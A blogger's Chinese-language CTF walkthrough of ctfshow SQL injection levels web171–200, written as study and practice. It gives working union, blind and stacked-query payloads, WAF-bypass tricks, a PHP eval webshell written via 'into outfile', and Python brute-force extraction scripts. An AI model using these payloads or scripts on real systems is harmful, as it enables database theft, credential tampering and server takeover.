说在前面
回来复习复习,练习写脚本,温故知新嘛,最近学习感触也挺深的,到时候打算写个总结,MySQL要研究的东西还是很多的,同时实验室好多师傅也有来问我的,就想着回来再整理一下
web171
1' or 1=1--+
即
id='1' or 1=1--+'limit 1;
web172
万能密码不行了
去查表
1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--+
直接上最后的
1' union select password,2,3 from ctfshow_user2--+
web173
不能返回flag,把flag给ban了
可以用编码绕过
base64
0' union select 1,to_base64(password),3 from ctfshow_user3 %23
注意是to_base64哦
hex
0' union select 1,hex(password),3 from ctfshow_user3 %23
逆着读也OK
0' union select reverse(password),2,3 from ctfshow_user3%23
截断方法也可以
0' union select substr(password,2),2,3 from ctfshow_user3%23
web174
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
加了个不准返回数字,用replace即可
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B'),3,'C'),4,'D'),5,'E'),6,'F'),7,'G'),8,'H'),9,'I'),0,'J'),'b' from ctfshow_user4 where username='flag' %23
替换脚本
# 这是你拿到的被替换后的flag
replaced_flag = "JDGdbbJf-cdDH-DDcF-acHJ-GFCDeCAGHAeB"
# 建立映射表
mapping = {
'A': '1',
'B': '2',
'C': '3',
'D': '4',
'E': '5',
'F': '6',
'G': '7',
'H': '8',
'I': '9',
'J': '0'
}
# 还原
original_flag = ''.join(mapping.get(c, c) for c in replaced_flag)
print(original_flag)
web175
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
ASCII码表范围内的字符都显示不出来了
可以用into outfile往里面写马
也可以打包出来
?id=1' union select 1,'<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'+--+
1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
法二:
盲注
web176
开始过滤了
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
fuzz过滤了select,大写绕过
1' union SELECT database(),2,3--+
1' union SELECT password,2,3 from ctfshow_user--+
也可以直接用万能密码
1' or 1=1--+
web177
过滤了空格
可以用/**/,%0a,%0c,%09,%a0等绕过
1'/**/union/**/select/**/password,2,3/**/from/**/ctfshow_user%23
web178
绕过空格
-1'%09union%09select%091,2,password%09from%09ctfshow_user%23
web179
绕过空格
-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
web180
过滤了#和–,用’1’=’1来闭合后边
union select 1, 2, group_concat(password) from ctfshow_user where '1'='1
web181
MySQL运算符优先级从高到低
优先级 | 运算符 | 说明 |
---|---|---|
1 | BINARY , COLLATE | 字符集转换或比较 |
2 | - (负号), ~ (按位取反), ! (逻辑非), + (正号) | 一元运算符 |
3 | * , / , DIV , % , MOD | 乘、除、整除、取余 |
4 | + , - | 加、减 |
5 | << , >> | 位移 |
6 | & | 按位与 |
7 | ^ | 按位异或 |
8 | | | |
9 | = , <=> , >= , > , <= , < , <=> , != , <>, IS , IS NOT , IN , LIKE , REGEXP , BETWEEN , CASE | 比较操作和逻辑测试 |
10 | NOT | 逻辑非 |
11 | AND , && | 逻辑与 |
12 | XOR | 逻辑异或 |
13 | OR , ` | |
14 | = (赋值符号,仅用于 SET 语句中) | 赋值 |
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
直接让他显示flag
-1'||username='flag
逻辑表达式的“或”短路:
- 如果
id = '-1'
为false
,但username = 'flag'
为true
,整个WHERE
条件仍为true
注入点在字符串拼接中,攻击者通过提前闭合原始语句中的引号并追加自己的逻辑条件
web182
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
对flag进行了过滤
使用模糊匹配进行绕过
1'||(username)regexp'f
-1'||(username)like'fla_
-1'||(username)like'fla_%
like
like查询俩模式:_
和%
_
:表示匹配单个字符
%
:匹配任意字符
SELECT * FROM 表名 WHERE 列名 LIKE '匹配模式';
通配符 | 说明 | 示例 |
---|---|---|
% | 匹配任意数量的字符(包括0个) | 'A%' :以 A 开头 |
_ | 匹配单个任意字符 | 'A_' :以 A 开头,后跟任意一个字符 |
[] | 匹配括号内任意一个字符(SQL Server专用) | '[ab]%' :以 a 或 b 开头 |
[^] | 匹配不在括号中的字符(SQL Server专用) | '[^a]%' :不以 a 开头 |
rlike和regexp
REGEXP
是 SQL 中的正则匹配运算符
SELECT * FROM 表名 WHERE 列名 RLIKE '正则表达式';
-- 或者
SELECT * FROM 表名 WHERE 列名 REGEXP '正则表达式';
正则 | 说明 |
---|---|
. | 任意单个字符 |
* | 匹配前一个字符 0 次或多次 |
+ | 匹配前一个字符 1 次或多次 |
? | 匹配前一个字符 0 次或 1 次 |
^ | 匹配字符串开头 |
$ | 匹配字符串结尾 |
[abc] | 匹配 a、b 或 c 中的任一个 |
[a-z] | 匹配任意小写字母 |
[^abc] | 不匹配 a、b、c |
| |
从狗哥的文章那看到了还有in和strcmp()使用方法
in
相当于就是等号被 过滤的时候可以用in替代等号
select * from sheet1 where 用户名="admin" and substr(user(),1,1) ='r'
可以替换为
select * from sheet1 where 用户名="admin" and substr(user(),1,1) in ('r')
strcmp()
在 MySQL 中,strcmp(str1, str2) 是一个字符串比较函数,用于比较两个字符串的大小关系
其返回值有三种
返回值 | 含义 |
---|---|
0 | str1 与 str2 完全相等 |
< 0 | str1 小于 str2 (按字典序) |
> 0 | str1 大于 str2 |
其中举个例子
SELECT * FROM users WHERE strcmp(username, 'admin') = 0;
等价于
SELECT * FROM users WHERE username = 'admin';
例子
select * from sheet1 where 用户名="admin" and strcmp(ascii(substr(database(),1,1)),116)
做了个判断,相当于是
web183
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
布尔盲注,看user_conunt回显1还是0
测试的语句
tableName=(ctfshow_user)where(pass)regexp('ctfshow{813ft')
我写的对应的小脚本:
import requests
url = 'http://89ddf549-8f15-4480-8bb9-fd0c8c697679.challenge.ctf.show/select-waf.php'
dict= '1234567890qwertyuiopasdfghjklzxcvbnm{}-'
flag = ''
for i in range(1, 45):
for j in dict:
payload = {
'tableName': f"(ctfshow_user)where(pass)regexp('^ctfshow{flag + j}')"
}
res = requests.post(url, data=payload)
if 'user_count = 1' in res.text:
flag += j
print(f"[+] flag: {flag}")
break
等号也过滤了还有or,先传ctfshow_user查询会看到有22条记录,一条数据
空格过滤了用括号可以替代,等号过滤了可以用like或者regexp,但是不区分大小写
正则注入,若匹配则返回1,不匹配返回0
用like也可以的
稍微改一下就可以,这边我改好了
import requests
url = 'http://89ddf549-8f15-4480-8bb9-fd0c8c697679.challenge.ctf.show/select-waf.php'
dict= '1234567890qwertyuiopasdfghjklzxcvbnm{}-'
flag = ''
for i in range(1, 45):
for j in dict:
payload = {
'tableName': f"(ctfshow_user)where(pass)like'ctfshow{flag+j}%'"
}
res = requests.post(url, data=payload)
if 'user_count = 1' in res.text:
flag += j
print(f"[+] flag: {flag}")
break
web184
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
逻辑返回
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
看着也是盲注,过滤了引号,然后过滤了where可以用having替代,引号可以用十六进制绕过
利用group by分组,对查询结果分组
部分 | 含义 |
---|---|
SELECT COUNT(*) | 查询每个分组的记录数量 |
FROM ctfshow_user | 表名是 ctfshow_user |
GROUP BY pass | 以 pass 字段的不同值进行分组 |
HAVING pass LIKE 0x63746673686f777b25 | 对分组结果筛选,仅保留 pass 值匹配该十六进制的记录 |
对脚本改来改去,最后那个完成怎么也弄不出来,到_就停,要自己修改
import requests
url = "http://51e55b80-cfbd-4aaf-8a97-1d43e03d1c40.challenge.ctf.show/select-waf.php"
charset = "0123456789abcdefghijklmnopqrstuvwxyz-_{}"
flag = "ctfshow{"
for i in range(1, 50):
for j in charset:
guess = flag + j + '%'
hex_guess = ''.join([hex(ord(c))[2:] for c in guess])
payload = f"ctfshow_user group by pass having pass like 0x{hex_guess}"
data = {'tableName': payload}
try:
r = requests.post(url, data=data, timeout=5)
except requests.exceptions.RequestException:
print(f"[!] 网络请求失败,跳过 {j}")
continue
if "$user_count = 1;" in r.text:
flag += j
print(f"[+] 当前进度:{flag}")
break
if '}' in flag:
print(f"[+] 爆破完成:{flag}")
break
看包神的连接绕过,又去翻了一下官方的文档
自己也来搞一搞,其中join就是
类型 | 描述 |
---|---|
INNER JOIN | 返回两个表中满足连接条件的记录(交集)。 |
LEFT JOIN | 返回左表中的所有记录,即使右表中没有匹配的记录(保留左表)。 |
RIGHT JOIN | 返回右表中的所有记录,即使左表中没有匹配的记录(保留右表)。 |
FULL OUTER JOIN | 返回两个表的并集,包含匹配和不匹配的记录。 |
CROSS JOIN | 返回两个表的笛卡尔积,每条左表记录与每条右表记录进行组合。 |
SELF JOIN | 将一个表与自身连接。 |
NATURAL JOIN | 基于同名字段自动匹配连接的表。 |
用于把来自两个或多个表的行结合起来,我也来一个图就好了
inner join的语法:
SELECT column1, column2, ...
FROM table1
JOIN table2 ON condition;
参数说明:
column1, column2, ...:要选择的字段名称,可以为多个字段。如果不指定字段名称,则会选择所有字段
table1:要连接的第一个表
table2:要连接的第二个表
condition:连接条件,用于指定连接方式
内连接
select count(*) from ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b25;
部分 | 解释 |
---|---|
SELECT COUNT(*) | 查询结果的总行数 |
FROM ctfshow_user a | 定义表 a,是 ctfshow_user |
INNER JOIN ctfshow_user b | 把同一张表再命名为 b,做自连接 |
ON b.pass LIKE 0x63746673686f777b25 | 连接条件:b 表中的 pass 字段满足指定匹配条件 |
写过的脚本修改一下语句就可以用
import requests
url = "http://c51545f0-eaa4-4a7b-97e9-e43bfb996773.challenge.ctf.show/select-waf.php"
charset = "0123456789abcdefghijklmnopqrstuvwxyz-_{}"
flag = "ctfshow{"
for i in range(1, 50):
for j in charset:
guess = flag + j + '%'
hex_guess = ''.join([hex(ord(c))[2:] for c in guess])
payload = f"ctfshow_user a inner join ctfshow_user b on b.pass like 0x{hex_guess}"
data = {'tableName': payload}
try:
r = requests.post(url, data=data, timeout=5)
except requests.exceptions.RequestException:
print(f"[!] 网络请求失败,跳过 {j}")
continue
if "$user_count = 22;" in r.text:
flag += j
print(f"[+] 当前进度:{flag}")
break
if '}' in flag:
print(f"[+] 爆破完成:{flag}")
break
但是注意返回记录测试是返回的22条记录
web185
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
利用这个
char(true + true + true) ≈ char(1 + 1 + 1) = char(3)
concat(char(...), char(...), ...) 可以拼接字符串
其中这样做拼接就可以构造出字符串,可自定义def进行构造payload进行盲注爆破,自己一点点写出了脚本,哎,感觉自己写的爆的好慢啊!
import requests
url = 'http://3684b802-0436-4002-8026-29bf0009fa5b.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
target = 'ctfshow{'
dict='1234567890qwertyuiopasdfghjklzxcvbnm{-}'
def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
def createStrNum(s):
return ','.join([f'chr({createNum(ord(c))})' for c in s])
for i in range(1,50):
for j in dict:
exp=payload.format(createStrNum(target+j+'%'))
r = requests.post(url, data={'tableName': exp})
if "$user_count = 0;" not in r.text:
target += j
print(f"[+]当前进度:{target}")
break
if j == '}':
print(f"[+] Flag 完成:{target}")
exit()
break
web186
上面的脚本仍然使用,嘻嘻
但是不知道为啥,最后我多跑出来几位,但是无影响
web187
<?php
$a = md5('ffifdyop',true);
echo $a;
'or'6�]��!r,��b
admin/ffifdyop
flag在api的响应中
至于原理有空再写上,偷个小懒
web188
输入的密码经过intval函数后弱等于查询出的密码就可,所以如果真正的密码是字母我们就能用0等于成功,而用户名我们也可以用0,因为username一般是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,所以where username = 0会把所有数据都查出来
0
0
flag在响应里
web189
flag在api/index.php文件中
返回逻辑
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
load_file()
load_file()
是 MySQL 中的一个函数,用于读取服务器上的文件(注意不是客户端的)它能够从指定的文件路径读取文件内容,并将其作为字符串返回
username/password输入1/0显示查询失败
username/password输入0/0显示密码错误
说明存在布尔回显
import requests
url = 'http://7bfa8664-a9df-4650-821c-075aacd3cc82.challenge.ctf.show/api/'
flag = 'ctfshow{'
dict = '1234567890qwertyuiopasdfghjklzxcvbnm-}_'
for i in range(1, 50):
for j in dict:
payload = "if((load_file('/var/www/html/api/index.php')regexp('{0}')),1,0)".format(flag + j)
data = {
'username': payload,
'password': 0
}
r = requests.post(url, data)
if "\\u67e5\\u8be2\\u5931\\u8d25" in r.text:
flag += j
print(f"[+] Found: {flag}")
break
if j == '}' in r.text:
print("[+] Flag end detected.")
exit()
web190
查询语句
$sql = "select pass from ctfshow_user where username = '{$username}'";
密码依然是和数字弱类型比较
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
盲注
import requests
url = 'http://e83349e2-1193-487b-acb2-3991bd4e9025.challenge.ctf.show/api/'
i = 0
flag = ''
while True:
i += 1
head = 32
tail = 127
while head + 1 < tail:
mid = (head + tail) // 2
#payload ="admin'and (ascii(substr((select database()),{0},1))<{1})#".format(i,mid)
# payload = "admin'and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{0},1))<{1})#".format(
# i, mid)
# payload = "admin'and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))<{1})#".format(
# i, mid)
payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{0},1))<{1})#".format( i, mid)
data = {
'username': payload,
'password': 1
}
r = requests.post(url, data=data)
if '\\u5bc6\\u7801\\u9519\\u8bef' in r.text:
tail = mid
else:
head = mid
if head != 32:
flag += chr(head)
print(f"[+] {flag}")
else:
break
web191
把ascii禁了,用ord即可,上题脚本稍微一改就可以
import requests
url = 'http://e83349e2-1193-487b-acb2-3991bd4e9025.challenge.ctf.show/api/'
i = 0
flag = ''
while True:
i += 1
head = 32
tail = 127
while head + 1 < tail:
mid = (head + tail) // 2
#payload ="admin'and (ord(substr((select database()),{0},1))<{1})#".format(i,mid)
# payload = "admin'and (ord(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{0},1))<{1})#".format(
# i, mid)
# payload = "admin'and (ord(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))<{1})#".format(
# i, mid)
payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{0},1))<{1})#".format( i, mid)
data = {
'username': payload,
'password': 1
}
r = requests.post(url, data=data)
if '\\u5bc6\\u7801\\u9519\\u8bef' in r.text:
tail = mid
else:
head = mid
if head != 32:
flag += chr(head)
print(f"[+] {flag}")
else:
break
web192
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
ord也被禁了,那就正常爆破就可
import requests
url = "http://5e7a6c93-ddab-4786-b33d-cdb4d151afdb.challenge.ctf.show/api/"
flag = "ctfshow{"
dicts = "-}0123456789abcdefghijklmnopqrstuvwxyz"
for i in range(9,50):
for j in dicts:
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
# 查flag
payload = "select group_concat(f1ag) from ctfshow_fl0g"
data = {
'username': f"admin' and if(substr(({payload}),{i},1)='{j}', 1, 0)#",
'password': '1'
}
try:
# print(data)
r = requests.post(url, data=data)
r.raise_for_status()
if "密码错误" == r.json()['msg']:
flag += j
print(f"[+]进度:{flag}")
break
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
break
print(f"[+]flag: {flag}")
web193/194
ord也被ban了,可以用mid,left,regexp或者right
REGEXP版
import requests
url = 'http://3172064b-10e7-4669-b36b-0ccb574af43a.challenge.ctf.show/api/'
target = ''
for i in range(100):
for j in 'abcdefghijklmnopqrstuvwxyz0123456789-,{}_':
# payload="admin'and (select database()) REGEXP '^{}'#".format(target+j)
# payload = "admin'and (select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') REGEXP '^{}'#".format(target + j)
# payload = "admin'and (select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') REGEXP '^{}'#".format(target + j)
payload = "admin'and (select f1ag from ctfshow_flxg) REGEXP '^{}'#".format(target + j)
data = {
'username': payload,
'password': 0
}
r = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
target += j
print(target)
break
web195
堆叠注入,直接打就可以
username:0;update(ctfshow_user)set`pass`=1;
password:1
堆叠修改一下密码即可
web196
仍然是堆叠
1;select(1)
解释一下
判断条件满足的是$row[0]==$password,row 存储的是结果集中的一行数据,row[0]就是这一行的第一个数据。既然可以进行堆叠注入,$row会逐一循环获取每个结果集。
那么输入username为1;select(1),password为1时他会执行执行 SELECT(1); 后,数据库会返回一个结果集,其中包含一行一列,值为 1。当row 获取到第二个查询语句 select(1) 的结果集时,即可获得row[0]=1,那么password输入1就可以满足条件判断,同样输入其他密码也可以
就是相当于你对密码是可控的了,也就实现了强制登陆
web197–200
username=1;show tables;&password=ctfshow_user
show tables的结果就是ctfshow_user,所以密码一样就行,至于原理和上面的一样
后面的过几天回拼接上的